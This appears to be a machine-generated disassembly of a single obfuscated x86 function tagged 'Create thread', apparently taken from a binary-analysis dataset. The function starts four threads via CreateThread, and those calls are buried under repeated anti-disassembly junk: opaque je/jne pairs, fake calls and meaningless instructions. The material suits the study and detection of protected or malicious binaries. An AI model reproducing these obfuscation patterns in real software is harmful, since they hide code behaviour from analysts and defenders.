Function at 0x1001514e
Capabilities:
Create thread

Disassembly:
jae 0x10014f17
jmp 0x10014f12
call fcn.10014f19
jae 0x10014f12
add esp, 4
jmp 0x10014f1e
dec dword [esp]
jno 0x10014f23
jns 0x10014f0e
jp 0x10014f27
add esp, 4
popf
jmp 0x10014f2e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10014f47
jne 0x10014f47
call 0x1fc1829b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10014f61
jne 0x10014f60
call 0x93053fe8
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
or esi, dword [ebx + edi*8 - 8]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10014f6f
jmp 0x10014f71
je 0x10014f6c
clc
jae 0x10014f76
pop ds
or esi, dword [ebx + eax + 0x75]
add dword [ebx], ecx
je 0x10014f7b
jne 0x10014f7b
or esp, dword [esi - 0x64]
pushf
push 0xa
jae 0x10014f88
jmp 0x10014f83
call 0x10014f8a
jae 0x10014f83
add esp, 4
jmp 0x10014f8f
dec dword [esp]
jno 0x10014f94
jns 0x10014f7f
jp 0x10014f98
add esp, 4
popf
jmp 0x10014f9f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10014fb8
jne 0x10014fb8
call 0x1fc1830c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10014fd2
jne 0x10014fd1
call 0x93054059
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sub al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10014fe0
jmp 0x10014fe2
je 0x10014fdd
clc
jae 0x10014fe7
shr dword [esp + esi*2], 3
je 0x10014fec
jne 0x10014fec
sub al, 0x66
pushfd
pushf
push 0xa
jae 0x10014ff9
jmp 0x10014ff4
call 0x10014ffb
jae 0x10014ff4
add esp, 4
jmp 0x10015000
dec dword [esp]
jno 0x10015005
jns 0x10014ff0
jp 0x10015009
add esp, 4
popf
jmp 0x10015010
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015029
jne 0x10015029
call 0x1fc1837d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10015043
jne 0x10015042
call 0x930540ca
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov ebx, 0x73f8fb74
add dl, byte [0x750374bb]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10015051
jmp 0x10015053
je 0x1001504e
clc
jae 0x10015058
adc eax, 0x750374bb
je 0x1001505d
jne 0x1001505d
add dword [ebx + 0xa6a9c66], edi
mov ebx, 0xa6a9c66
pushf
push 0xa
jae 0x1001506a
jmp 0x10015065
call 0x1001506c
jae 0x10015065
add esp, 4
jmp 0x10015071
dec dword [esp]
jno 0x10015076
jns 0x10015061
jp 0x1001507a
add esp, 4
popf
jmp 0x10015081
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001509a
jne 0x1001509a
call 0x1fc183ee
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100150b4
jne 0x100150b3
call 0x9305413b
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100150c2
jmp 0x100150c4
je 0x100150bf
clc
jae 0x100150c9
mov esp, 0x75037484
add dword [esi + 0x730a6a9c], eax
pop es
je 0x100150ce
jne 0x100150ce
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100150db
jmp 0x100150d6
call 0x100150dd
jae 0x100150d6
add esp, 4
jmp 0x100150e2
dec dword [esp]
jno 0x100150e7
jns 0x100150d2
jp 0x100150eb
add esp, 4
popf
jmp 0x100150f2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001510b
jne 0x1001510b
call 0x1fc1845f
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10015125
jne 0x10015124
call 0x930541ac
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
dec ebp
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10015133
jmp 0x10015135
je 0x10015130
clc
jae 0x1001513a
dec bp
je 0x1001513f
jne 0x1001513f
dec ebp
pushf
push 0xa
jae 0x1001514c
jmp 0x10015147
call 0x1001514e
jae 0x10015147
add esp, 4
jmp 0x10015153
dec dword [esp]
jno 0x10015158
jns 0x10015143
jp 0x1001515c
add esp, 4
popf
jmp 0x10015163
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001517c
jne 0x1001517c
call 0x1fc184d0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x100169a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x100151ab
jne 0x100151aa
call 0x93054232
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
outsb dx, byte [esi]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100151b9
jmp 0x100151bb
je 0x100151b6
clc
jae 0x100151c0
or ebp, dword [esi + 0x74]
add esi, dword [ebp + 1]
je 0x100151c5
jne 0x100151c5
outsb dx, byte [esi]
pushf
push 0xa
jae 0x100151d2
jmp 0x100151cd
call 0x100151d4
jae 0x100151cd
add esp, 4
jmp 0x100151d9
dec dword [esp]
jno 0x100151de
jns 0x100151c9
jp 0x100151e2
add esp, 4
popf
jmp 0x100151e9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015202
jne 0x10015202
call 0x1fc18556
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x10015231
jne 0x10015230
call 0x930542b8
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
aaa
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001523f
jmp 0x10015241
je 0x1001523c
clc
jae 0x10015246
mov dl, 0x37
je 0x1001524b
jne 0x1001524b
aaa
pushf
push 0xa
jae 0x10015258
jmp 0x10015253
call 0x1001525a
jae 0x10015253
add esp, 4
jmp 0x1001525f
dec dword [esp]
jno 0x10015264
jns 0x1001524f
jp 0x10015268
add esp, 4
popf
jmp 0x1001526f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015288
jne 0x10015288
call 0x1fc185dc
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x100169e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x100152b7
jne 0x100152b6
call 0x9305433e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
add byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100152c5
jmp 0x100152c7
je 0x100152c2
clc
jae 0x100152cc
pop esp
add byte [ebx + eax + 0x75], dh
add dword [eax], eax
je 0x100152d1
jne 0x100152d1
add byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100152de
jmp 0x100152d9
call 0x100152e0
jae 0x100152d9
add esp, 4
jmp 0x100152e5
dec dword [esp]
jno 0x100152ea
jns 0x100152d5
jp 0x100152ee
add esp, 4
popf
jmp 0x100152f5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001530e
jne 0x1001530e
call 0x1fc18662
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016a50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001533d
jne 0x1001533c
call 0x930543c4
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
invalid
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001534b
jmp 0x1001534d
je 0x10015348